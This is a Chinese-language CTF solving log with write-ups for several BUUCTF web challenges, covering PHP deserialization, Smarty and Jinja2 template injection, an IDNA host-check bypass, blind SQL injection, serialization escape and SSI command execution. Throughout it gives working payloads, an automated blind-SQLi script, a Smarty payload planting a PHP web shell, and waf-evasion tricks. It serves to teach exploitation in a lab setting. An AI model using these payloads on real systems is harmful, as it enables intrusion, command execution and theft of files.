buu做题日志 web5

[NPUCTF2020]ReadlezPHP

F12源码有个链接href=”./time.php?source”,进去就是源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);



2022-04-21 01:26:26

很明显的反序列化题,核心代码是这里:

1
2
3
4
5
public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }

当前对象的属性在通过__destruct()魔术方法后赋给原本类的属性,所以我们可以先new一个,经过construct()后,对新对象的属性赋值,然后自然而然的就调用了__destruct()了
构造payload

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class HelloPhp
{
public $a;
public $b;
}
$c = new HelloPhp();
$c->a = 'phpinfo()';
$c->b = 'assert';
echo serialize($c);

#O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

直接传进去就是搜索flag就是了

[CISCN2019 华东南赛区]Web11

打开后环境貌似是可以显示本地ip的网页版工具

图片

图片

这里有个xff的提示,先放一边

图片

用Smarty构筑?我最开始以为是出题人名字,后来觉得眼熟才知道是php的一个模板,很明确了模板注入SSTI

注入类题目就肯定得找注入点啊!,结合xff这里提示,用hackbar改下ip

图片

果然ip变成了图上的ip,注入点找到了,根据网络上payload,确定是否是smarty注入顺便确定版本号

{$smarty.version}

图片

这里补充下一些payload的注意事项

一,漏洞确认(查看smarty的版本号):

1
{$smarty.version}

二,常规利用方式:(使用{php}{/php}标签来执行被包裹其中的php指令,smarty3弃用)

1
{php}{/php}

执行php指令,php7无法使用

1
<script language="php">phpinfo();</script>

三,静态方法

1
public function getStreamVariable($variable){ $_result = ''; $fp = fopen($variable, 'r+'); if ($fp) { while (!feof($fp) && ($current_line = fgets($fp)) !== false) { $_result .= $current_line; } fclose($fp); return $_result; } $smarty = isset($this->smarty) ? $this->smarty : $this; if ($smarty->error_unassigned) { throw new SmartyException('Undefined stream variable "' . $variable . '"'); } else { return null; } }

payload1:(if标签执行PHP命令)

1
2
3
{if phpinfo()}{/if}
{if system('ls')}{/if}
{if system('cat /flag')}{/if}

四,其他payload

1
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

有了以上资料,尝试查找flag

图片

最后在根目录找到了flag

我们通过一串代码来了解一下,它的漏洞为什么会产生。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

require_once('./smarty/libs/' . 'Smarty.class.php');

$smarty = new Smarty();

$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
//获取XFF

$smarty->display("string:".$ip);
//此处并不是以smart模板格式,而是以字符串形式,所以会解析我们的标签,也就是if,解析后把内容回显到页面上的相应位置
}

代码链接:https://www.jianshu.com/p/eb8d0137a7d3

[SUCTF 2019]Pythonginx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"



    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host



    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"

直接给了代码,审吧
urlparse模块主要是用于解析url中的参数  对url按照一定格式进行 拆分或拼接 

urlparse()把url拆分为6个部分,scheme(协议),netloc(域名),path(路径),params(可选参数),query(连接键值对),fragment(特殊锚),并且以元组形式返回。

这里代码应该是我们传入的url需要绕过前两个if判断,然后进入第三个if语句里去读取我们想要的信息。而三个if中判断条件都是相同的,不过提取host的方式却不同。

前两个判断 host 是否是 suctf.cc ,如果不是才能继续。然后第三个经过了 decode(‘utf-8’) 之后传进了 urlunsplit 函数,在第三个判断中又必须要等于 suctf.cc 才行。

所以首先不能让他为 suctf.cc,但是经过了 urlunsplit 后变成 suctf.cc。

该题的主要问题是在

1
h.encode('idna').decode('utf-8')

IDNA实际上是国际化域名
什么是IDN?

国际化域名(Internationalized Domain Name,IDN)又名特殊字符域名,是指部分或完全使用特殊文字或字母组成的互联网域名,包括中文、发育、阿拉伯语、希伯来语或拉丁字母等非英文字母,这些文字经过多字节万国码编码而成。在域名系统中,国际化域名使用punycode转写并以ASCII字符串存储。

℆这个字符,如果使用python3进行idna编码的话

print(‘℆’.encode(‘idna’))

结果

b’c/u’

如果再使用utf-8进行解码的话

print(b’c/u’.decode(‘utf-8’))

结果

c/u

所以通过这个来绕过

又因为在F12前端源码中有一个Nginx提示,考虑是Nginx的配置信息

Nginx重要配置文件

1
2
3
4
5
6
7
8
配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf

所以可以构造:

1
file://suctf.c℆sr/local/nginx/conf/nginx.conf

得到flag的位置,直接读取

1
file://suctf.c%E2%84%86sr/fffffflag

也有另外一种方法,因为我们主要是要绕过那三个if判断,前俩个不能为suctf.cc,第三个通过inda编码再utf-8解码后为suctf.cc,直接写个jio本爆破下,有没有能代替后面cc的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from urllib.parse import urlparse, urlunsplit, urlsplit
from urllib import parse



def get_unicode():
    for x in range(65536):
        uni = chr(x)
        url = "http://suctf.c{}".format(uni)
        try:
            if getUrl(url):
                print("str: " + uni + ' unicode: \\u' + str(hex(x))[2:])
        except:
            pass



def getUrl(url):
    url = url
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return False
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return False
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return True
    else:
        return False



if __name__ == '__main__':
    get_unicode()

得到以下可以代替c的字符

1
2
3
4
5
6
7
8
str: ℂ unicode: \u2102
str: ℭ unicode: \u212d
str: Ⅽ unicode: \u216d
str: ⅽ unicode: \u217d
str: Ⓒ unicode: \u24b8
str: ⓒ unicode: \u24d2
str: C unicode: \uff23
str: c unicode: \uff43

构造payload

1
file://suctf.cℂ/usr/local/nginx/conf/nginx.conf

接下来就是直接去读

[极客大挑战 2019]FinalSQL

题目进去是提示盲注的,按照常规流程在用户名和密码这里进行fuzz,发现大多数其实都被过滤了,然后页面上是有五个图标的,点到第五个提示还有个被隐藏起来让我们找到

但是点击图标的时候url是会发生变化的,出现了一个id的参数,由于是提示了盲注,我们就异或试下

1
2
?id=1^1
?id=1^0

图片

图片

异或的简单使用:

1
1^1=0,0^0=0,1^0=1

构造下payload:
另外这里id进行fuzz后,发现空格被过滤所以使用括号来绕

1
?id=1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),1,1))=105)^1

图片

可行,由此来构造脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import time
import requests

url = 'http://790c42f5-ecf5-49c5-b77e-1f56d50e8669.node4.buuoj.cn:81/search.php?id=1'
data = {"id":""}
column = ""
for i in range(1,1000):
    time.sleep(0.06)
    low = 32
    high = 128
    mid = (low + high) // 2
    while(low < high):
        #库名
        #data["id"] = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" % (i,mid)
        #表名
        #data["id"] = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)^1" % (i,mid)
        #列名
        #data["id"] = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1" % (i,mid)
        #内容
        data["id"] = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i,mid)
        r = requests.get(url,params=data)
        time.sleep(0.04)
        print(low,high,mid,":")
        if "Click" in r.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    if(mid == 32 or mid == 127):
        break
    column += chr(mid)
    print(column)

print("All:",column)

用了二分法优化下效率,一会儿就出了

[0CTF 2016]piapiapia

(反序列化字符逃逸)

初以为是sql注入,随便尝试了下顺便在F12里找了下没找到任何信息,进行扫描,发现有WWW.zip源码泄露,在config.php里发现了flag,应该知道flag要去访问config.php,接着就开始代码审计

可以发现在class.php中有本题关键的两个类和相关函数,其中的函数写的较为全面(增改查都涉及)、认真(变量有单引号保护且过滤了单引号和一些关键词),若想注入恐怕需要费点功夫,其余的php文件亮点不多、比较平常,但还有三个点需要注意

一是update.php里有一个序列化操作,与之对应的有一个反序列化操作,在注入可能不好用的情况下,这很有可能是本题的关键

图片

图片

二是update.php里对传入的变量做了简单的检查,

1
2
3
4
5
6
7
8
9
10
11
12
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

这里比较有意思的是,前两个是没有按相应规则匹配到文本则执行die()函数,也就是说无论preg_match()返回值为0或null或false皆会die出,而第三个检查则不是这样,是如果匹配到非字母数字或nickname长度大于10则die出,这里我们就可以操作了,控制nickname为一个数组,这样的话两个判断条件为false或NULL,故不会die,所以可以判断这里是出题人故意设计的,可以从控制nickname这里触发
三是有profile.php的功能是展示文件,说是展示,实为读取

1
2
3
4
5
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));

这里的file_get_contents是唯一可以读取文件的点,所以要从这里去读取config.php.大体思路是有的
update.php中有一个$profile数组变量,这个数组里有$phone, $email, $nickname, $photo几个变量,序列化后以profile字段存入数据库,而我们如果能控制photo变量为”config.php”,则能在访问profile.php时获得base64编码之后的config.php源码

整理Pop链:

1
profile.php的file_get_contents =》 show_profile() =》 class.php里的select() =》 数据库 =》 class.php里的update() =》 update_profile() =》 update.php里调用传参。

所以目前最主要的是去控制$photo这个参数

1
2
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));

这里看了WP才知道,是要用反序列化的字符逃逸
首先要明确一个知识点,php反序列化中值的字符读取多少是由表示长度的数字来控制,只要整个字符串的前一部分能够反序列化,剩余部分会被丢弃

举个例子

图片

图片

以上是正常序列化

图片

原来的字符串Northind内被填充了几个字符串,先是 “”” 三个双引号,再是正常结尾时需要有的 “;} 三个字符,在PHP进行反序列化时,由字符串初始位置向后读取8个字符,即使遇到字符串分解符单双引号也会继续向下读,此处读取到 North””” ,而后遇到了正常的结束符,达成了正常反序列化的条件,反序列化结束,后面的 ind”;}  几个字符均被丢弃

这里借大佬的一个例子https://www.cnblogs.com/litlife/p/11690918.html

图片
图片

图片

这里的username我们可控,bad_str函数会把反序列化后的字符串中的单引号替换“no”,我们做个分析,尝试着修改该用户的签名,用到的当然是本题的知识点

我们要记住一点,我们的字符串是在某变量被反序列化得到的字符串受某函数的所谓过滤处理后得到的,而且经过处理之后,字符串的某一部分会加长,但描述其长度的数字没有改变(该数字由反序列化时变量的属性决定),就有可能导致PHP在按该数字读取相应长度字符串后,本来属于该字符串的内容逃逸出了该字符串的管辖范围,轻则反序列化失败,重则自成一家成为一个独立于原字符串的变量,若是这个独立出来的变量末尾是个 “;} ,则可能会导致反序列化成功结束,后面的内容也就被丢弃了。此处能逃逸的字符串的长度由经过滤后字符串增加的长度决定,如上图第四个语句,@号内就是我们要逃逸出来的字符串,长度为33,百分号内为我们输入的username变量,要想让@号内的字符串逃逸,就需要原来的字符串增长33,这样的话@号内的字符串被挤出,username的正常部分和增长的部分正好被PHP解析为一整个变量,@号内的内容就被解析为一个独立的变量,而且因为它的最后有 “;} ,使反序列化成功结束。

为了增长33,我们需要username里加入33个单引号,它们会被替换为33个no,使长度增加33,由此以来,上图中x的值也可以确定了,输入的username即为Northind’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’”;i:1;s:18:”Today is Northind!”;},x为它的长度(74),所以我们最后得到的字符串为:

a:2:{i:0;s:74:”Northind’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’”(注意最后这里是个双引号);i:1;s:18:”Today is Northind!”;};i:1;s:15:”Today is Mondy!”;}

图片

我们可以看到,在这个反序列化字符串被过滤后,里面的单引号全部被替换为“no”,使”Northind”+”no”*33的长度之和等于74,配合上我们传入的”,满足PHP反序列化的条件之一,后面的”;i:1;s:18:”Today is Northind!”;}先闭合了一个变量的正确格式,又写入了一个变量正确格式,最后闭合了一个反序列化操作。该挤出的被挤出逃逸了,该丢弃的丢弃了。

实际传个username变量进去看看

图片

成功了。回到本题,因为要用到序列化字符逃逸,肯定要先把变量序列化,再进行过滤对应字符,过滤过程中把对应字符替换成长度更长的字符导致长度加长,引起逃逸,在class.php中可以看到

1
2
3
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);

只有传入where时替换替换为hacker才能让长度加一否则长度不变
接着来分析,目标变量是$profile,结合之前的那个数组绕过,举一个例子:

1
a:4:{s:5:"phone";s:11:"66666666666";s:5:"email";s:10:"111@qq.com";s:8:"nickname";a:1:{i:0;s:5:"hanzo";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}

因为要把phpoto改为config.php,先把目标payload给构造了

1
a:4:{s:5:"phone";s:11:"66666666666";s:5:"email";s:10:"111@qq.com";s:8:"nickname";a:1:{i:0;s:5:hanzo";}s:5:"photo";s:10:"config.php";};}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}

要逃逸的部分为

1
";}s:5:"photo";s:10:"config.php";}

长度为34,所以需要在nickname[0]里添加34个where才能成功逃逸
目标字符串

1
a:4:{s:5:"phone";s:11:"66666666666";s:5:"email";s:10:"111@qq.com";s:8:%nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:10:"config.php";}%;}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}

尝试抓包改参数
图片

上传成功,报错是因为nickname是数组形式,然后打开图片解码base64就行(做了好久终于会了!)

[BJDCTF2020]EasySearch

打开环境一个登陆页面,需要双写用户名进行登录,以为是sql注入,随便尝试并没有效果,扫一下,发现了swp文件,获得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content); 
}
    header("Content-Type: text/html;charset=utf-8");
***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
***
    }
***
?>

其中get_hash()函数限制了password值经过MD5加密后的前六位值等于6d0bc1,然后在public目录下创建shtml文件,并以get_hash()函数返回值作为文件名,将POST方式传入的变量username的值写入文件中
写个python3脚本,爆破下md5加密后前六位为6d0bc1的密码:

1
2
3
4
5
6
7
8
import hashlib

for i in range(10000000):
    a = hashlib.md5(str(i).encode('utf-8')).hexdigest()

    if a[0:6] == '6d0bc1':
        print(i)
        print(a)

i的范围不用这么大,逐渐增加数量级爆破就行
获得了三个答案,随便取一使用

1
2
3
4
5
6
2020666
6d0bc1153791aa2b4e18b4f344f26ab4
2305004
6d0bc1ec71a9b814677b85e3ac9c3d40
9162671
6d0bc11ea877b37d694b38ba8a45b19c

随便取一登陆,成功后在bp里发现隐藏url
图片

进去后能发现是登陆后的一些个人信息但是url的文件后缀是shtml引起了怀疑

查阅资料可以知道是shtml文件代表服务器开启了SSI和CGI支持,可以使用一些命令执行

参考资料

在用户名这里进行注入,使用payload

1
<!--#exec cmd=”id” -->

访问shtml回显为当前用户的id,证明命令可以成功执行,查到flag在上一级目录里,构造payload

1
username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&password=2020666

访问即是flag
Apache SSI 远程命令执行漏洞,参考https://cloud.tencent.com/developer/article/1540513

[GYCTF2020]FlaskApp

SSTI

进入环境是一个用flask写的一个base64加解密在线工具,有一个加密和解密页面,按照常见套路找一下,没其他东西,猜测是在加密页面对payload进行加密,在解密页面解密后执行payload

因为之前做python的题目大多数都是SSTI,这次也直接用14进行尝试

图片

很明显存在SSTI,随后在解密页面随意输入也能弹出是jinja框架

图片

也能弹出一部分源码

1
2
3
4
5
6
7
8
9
10
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res =  render_template_string(tmp)    # 模板渲染

很明显这里是存在waf的,应该会过滤某些关键词,然后重定向到解密页面
按照这篇文章

https://blog.csdn.net/qq_44657899/article/details/104307948#comments_19939266

直接跑payload

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()") }}{% endif %}{% endfor %}

在添加命令即可。
图片

很明显waf过滤了,这种时候也只能去看看源码app.py了

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}

python3下已经没有file了,所以是直接用open。
图片

1
2
3
4
5
6
def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request",
"subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1

flag,os,system等被过滤了,那就采用字符串拼接吧

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

os.listdir() 方法用于返回指定的文件夹包含的文件或文件夹的名字的列表。图片

发现了this_is_the_flag.txt,因为waf也过滤了flag,还是采用拼接

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}

Python的切片也行

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

[::-1]来进行倒置。